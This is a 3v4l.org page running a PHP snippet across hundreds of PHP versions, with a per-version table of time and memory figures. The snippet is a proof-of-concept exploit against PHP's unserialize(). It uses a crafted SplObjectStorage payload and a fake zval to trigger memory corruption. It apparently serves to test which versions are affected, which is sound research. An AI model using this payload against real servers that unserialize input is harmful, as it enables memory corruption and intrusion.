3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj { var $ryat; function __wakeup() { $this->ryat = 1; } } $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner = 'x:i:1;O:8:"stdClass":0:{},i:1;;m:a:1:{i:0;r:7;}'; $exploit = 'a:5:{i:0;i:1;i:1;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;R:7;i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}'; $data = unserialize($exploit); echo(serialize($data)); //var_dump($data); function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0110.00416.61
8.3.50.0210.00017.96
8.3.40.0090.00618.79
8.3.30.0080.00818.93
8.3.20.0030.00619.32
8.3.10.0070.00021.69
8.3.00.0040.00420.59
8.2.180.0110.01116.63
8.2.170.0070.01022.96
8.2.160.0130.00720.39
8.2.150.0040.00424.18
8.2.140.0080.00024.66
8.2.130.0030.00518.21
8.2.120.0040.00426.35
8.2.110.0060.00321.06
8.2.100.0120.00018.16
8.2.90.0030.00519.30
8.2.80.0030.00517.97
8.2.70.0040.00417.63
8.2.60.0030.00517.92
8.2.50.0000.00818.10
8.2.40.0000.00720.78
8.2.30.0070.00020.63
8.2.20.0040.00417.84
8.2.10.0030.00518.11
8.2.00.0000.00818.05
8.1.280.0100.00325.92
8.1.270.0030.00523.97
8.1.260.0080.00028.09
8.1.250.0050.00228.09
8.1.240.0060.00322.06
8.1.230.0040.00717.57
8.1.220.0000.00817.74
8.1.210.0030.00518.77
8.1.200.0030.00717.23
8.1.190.0000.00917.35
8.1.180.0000.00918.10
8.1.170.0040.00418.57
8.1.160.0040.00419.10
8.1.150.0050.00318.92
8.1.140.0040.00419.61
8.1.130.0040.00417.64
8.1.120.0000.00817.54
8.1.110.0040.00417.52
8.1.100.0000.00817.35
8.1.90.0000.00817.45
8.1.80.0040.00417.45
8.1.70.0000.00717.45
8.1.60.0050.00317.50
8.1.50.0000.00817.43
8.1.40.0030.00617.56
8.1.30.0040.00417.68
8.1.20.0000.00917.69
8.1.10.0000.00817.63
8.1.00.0030.00617.55
8.0.300.0050.00218.77
8.0.290.0050.00316.75
8.0.280.0040.00418.53
8.0.270.0030.00317.32
8.0.260.0060.00018.38
8.0.250.0030.00316.93
8.0.240.0050.00217.07
8.0.230.0000.00816.97
8.0.220.0000.00717.00
8.0.210.0030.00316.81
8.0.200.0000.00817.03
8.0.190.0070.00017.01
8.0.180.0040.00417.05
8.0.170.0040.00416.96
8.0.160.0030.00617.02
8.0.150.0020.00516.89
8.0.140.0060.00316.96
8.0.130.0030.00313.37
8.0.120.0080.00016.96
8.0.110.0000.00717.00
8.0.100.0040.00416.96
8.0.90.0090.00017.01
8.0.80.0070.00716.90
8.0.70.0040.00416.95
8.0.60.0040.00416.90
8.0.50.0030.00516.88
8.0.30.0090.00916.99
8.0.20.0060.01417.40
8.0.10.0040.00417.02
8.0.00.0180.00016.77
7.4.330.0000.00516.85
7.4.320.0030.00316.67
7.4.300.0030.00316.53
7.4.290.0000.00716.65
7.4.280.0030.00516.61
7.4.270.0000.00816.53
7.4.260.0060.00316.41
7.4.250.0000.00716.39
7.4.240.0040.00416.52
7.4.230.0070.00016.38
7.4.220.0060.01216.63
7.4.210.0030.01016.65
7.4.200.0040.00416.63
7.4.160.0120.00316.57
7.4.150.0110.00717.40
7.4.140.0130.00317.86
7.4.130.0090.00916.61
7.4.120.0100.00716.44
7.4.110.0100.00916.41
7.4.100.0060.00916.47
7.4.90.0090.01216.69
7.4.80.0070.01519.39
7.4.70.0100.00616.55
7.4.60.0090.00916.54
7.4.50.0090.00616.68
7.4.40.0090.00916.59
7.4.30.0090.00616.56
7.4.10.0100.00715.02
7.4.00.0020.01215.17
7.3.330.0050.00013.28
7.3.320.0000.00613.44
7.3.310.0040.00416.49
7.3.300.0040.00416.45
7.3.290.0060.01216.43
7.3.280.0080.00916.42
7.3.270.0070.01317.40
7.3.260.0090.01216.59
7.3.250.0150.00416.41
7.3.240.0110.00616.50
7.3.230.0130.00316.48
7.3.210.0080.00816.53
7.3.200.0100.00716.61
7.3.190.0100.00716.50
7.3.180.0060.01616.50
7.3.170.0030.01616.52
7.3.160.0070.01016.55
7.3.130.0090.01014.68
7.3.120.0040.01114.94
7.3.110.0070.01014.89
7.3.100.0020.01114.85
7.3.90.0060.01114.98
7.3.80.0070.00314.88
7.3.70.0080.00514.84
7.3.60.0100.00514.96
7.3.50.0050.00814.70
7.3.40.0050.00914.94
7.3.30.0060.01014.84
7.3.20.0050.00716.64
7.3.10.0090.00516.49
7.3.00.0090.00516.80
7.2.330.0140.00316.74
7.2.320.0140.00416.67
7.2.310.0100.00716.75
7.2.300.0170.00316.70
7.2.290.0090.00916.71
7.2.260.0030.01114.96
7.2.250.0100.01015.11
7.2.240.0050.01015.03
7.2.230.0020.01915.00
7.2.220.0090.00615.10
7.2.210.0070.01015.15
7.2.200.0050.00914.93
7.2.190.0070.00614.88
7.2.180.0060.00814.93
7.2.170.0050.00715.12
7.2.160.0100.00515.04
7.2.150.0080.00917.04
7.2.140.0080.00516.95
7.2.130.0070.00916.93
7.2.120.0030.01216.84
7.2.110.0110.00316.77
7.2.100.0090.00516.99
7.2.90.0070.01017.03
7.2.80.0050.01216.94
7.2.70.0070.00916.92
7.2.60.0110.00816.92
7.2.50.0050.01117.00
7.2.40.0050.01116.95
7.2.30.0070.00817.00
7.2.20.0050.00916.90
7.2.10.0050.01116.89
7.2.00.0060.00917.79
7.1.330.0060.00615.89
7.1.320.0070.00715.80
7.1.310.0110.00415.55
7.1.300.0070.00715.85
7.1.290.0020.01115.75
7.1.280.0020.01315.79
7.1.270.0030.01115.73
7.1.260.0060.00815.83
7.1.250.0060.00515.72
7.1.240.0110.00415.87
7.1.230.0080.00315.69
7.1.220.0030.00715.69
7.1.210.0060.00615.75
7.1.200.0030.01115.91
7.1.190.0000.01315.88
7.1.180.0070.00715.57
7.1.170.0040.01115.63
7.1.160.0030.01015.82
7.1.150.0100.00715.68
7.1.140.0090.00315.97
7.1.130.0030.01015.94
7.1.120.0040.00715.93
7.1.110.0000.01115.80
7.1.100.0000.01515.71
7.1.90.0030.00715.71
7.1.80.0090.00315.95
7.1.70.0030.00716.46
7.1.60.0050.00616.39
7.1.50.0040.01416.38
7.1.40.0040.01115.86
7.1.30.0080.00015.68
7.1.20.0040.00815.77
7.1.10.0100.00315.85
7.1.00.0080.03519.16
7.0.330.0040.00815.38
7.0.320.0100.00415.48
7.0.310.0000.01015.19
7.0.300.0070.00715.12
7.0.290.0040.01115.41
7.0.280.0050.00315.43
7.0.270.0070.00715.18
7.0.260.0070.00715.52
7.0.250.0100.00315.48
7.0.240.0030.01315.45
7.0.230.0080.00315.52
7.0.220.0100.00315.61
7.0.210.0090.00015.40
7.0.200.0030.01216.20
7.0.190.0030.01015.40
7.0.180.0030.00615.48
7.0.170.0120.00315.48
7.0.160.0120.00015.31
7.0.150.0000.00815.23
7.0.140.0060.00615.46
7.0.130.0080.00415.50
7.0.120.0000.01015.41
7.0.110.0070.00715.27
7.0.100.0040.01115.48
7.0.90.0000.01115.31
7.0.80.0060.00615.39
7.0.70.0070.00715.60
7.0.60.0480.00317.73
7.0.50.0480.00317.99
7.0.40.0420.00216.94
7.0.30.0420.00316.98
7.0.20.0530.00116.96
7.0.10.0540.00116.91
7.0.00.0450.00216.91
5.6.400.0070.00714.25
5.6.390.0060.00914.25
5.6.380.0060.00613.99
5.6.370.0060.00614.48
5.6.360.0070.00714.27
5.6.350.0070.00714.81
5.6.340.0030.00714.63
5.6.330.0030.01114.64
5.6.320.0080.00314.18
5.6.310.0060.00314.35
5.6.300.0000.01514.43
5.6.290.0070.01014.48
5.6.280.0030.04217.70
5.6.270.0070.00714.51
5.6.260.0070.00714.59
5.6.250.0040.01114.36
5.6.240.0000.01314.31
5.6.230.0060.00614.59
5.6.220.0060.00914.41
5.6.210.0500.00517.64
5.6.200.0430.00517.61
5.6.190.0380.00717.65
5.6.180.0430.00717.73
5.6.170.0380.00517.68
5.6.160.0430.00317.77
5.6.150.0410.00317.71
5.6.140.0410.00117.91
5.6.130.0420.00417.78
5.6.120.0370.00417.79
5.6.110.0370.00517.60
5.6.100.0420.00417.65
5.6.90.0470.00217.67
5.6.80.0440.00017.44
5.6.70.0430.00517.27
5.6.60.0450.00417.21
5.6.50.0550.00217.61
5.6.40.0360.00517.49
5.6.30.0350.00517.40
5.6.20.0460.00317.41
5.6.10.0470.00517.25
5.6.00.0480.00217.43
5.5.380.0100.00614.65
5.5.370.0070.01014.73
5.5.360.0070.00714.44
5.5.350.0440.00617.45
5.5.340.0480.00017.76
5.5.330.0410.00517.61
5.5.320.0380.00517.65
5.5.310.0420.00217.57
5.5.300.0410.00217.73
5.5.290.0450.00017.61
5.5.280.0500.00117.65
5.5.270.0430.00317.59
5.5.260.0430.00517.45
5.5.250.0450.00417.57
5.5.240.0490.00017.31
5.5.230.0530.00017.37
5.5.220.0480.00017.28
5.5.210.0450.00317.31
5.5.200.0380.00317.10
5.5.190.0400.00617.27
5.5.180.0420.00317.36
5.5.170.0050.00514.42
5.5.160.0440.00217.29
5.5.150.0450.00517.20
5.5.140.0570.00317.32
5.5.130.0610.00417.18
5.5.120.0450.00417.27
5.5.110.0590.00117.11
5.5.100.0440.00217.34
5.5.90.0330.00817.25
5.5.80.0350.00817.35
5.5.70.0430.00417.23
5.5.60.0410.00317.42
5.5.50.0450.00217.36
5.5.40.0450.00717.20
5.5.30.0440.00317.26
5.5.20.0460.00517.22
5.5.10.0400.00517.11
5.5.00.0410.00217.18

preferences:
66.07 ms | 401 KiB | 5 Q